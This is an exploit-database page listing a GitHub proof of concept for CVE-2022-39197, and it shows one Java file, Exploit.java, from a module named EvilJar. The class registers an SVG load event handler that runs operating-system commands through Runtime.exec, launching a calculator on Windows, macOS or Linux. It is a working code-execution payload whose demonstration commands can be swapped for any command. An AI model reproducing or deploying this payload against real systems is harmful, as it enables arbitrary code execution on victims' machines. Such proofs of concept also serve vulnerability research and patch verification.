Exploit database

GH-35cfe9f2bbeaaa93d99f866c42dac00f

its-arun/cve-2022-39197

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-39197

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1
its-arun/cve-2022-39197Revision f24ed1573105

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

EvilJar/src/main/java/Exploit.java

Java · 1,191 bytes
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;

import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

import java.util.*;
import java.io.*;

public class Exploit implements EventListenerInitializer {
    public Exploit() {
    }

    public void initializeEventListeners(SVGDocument document) {
        SVGSVGElement root = document.getRootElement();
        EventListener listener = new EventListener() {
            public void handleEvent(Event event) {
                try {
                    String OS = System.getProperty("os.name", "unknown").toLowerCase(Locale.ROOT);
                    if (OS.contains("win")) {
                        Runtime.getRuntime().exec("calc.exe");
                    } else if (OS.contains("mac")) {
                        Runtime.getRuntime().exec("open -a calculator");
                    } else if (OS.contains("nux")) {
                        Runtime.getRuntime().exec("/usr/bin/mate-calc");
                    }
                } catch (Exception e) {}
            }
        };
        root.addEventListener("SVGLoad", listener, false);
    }

}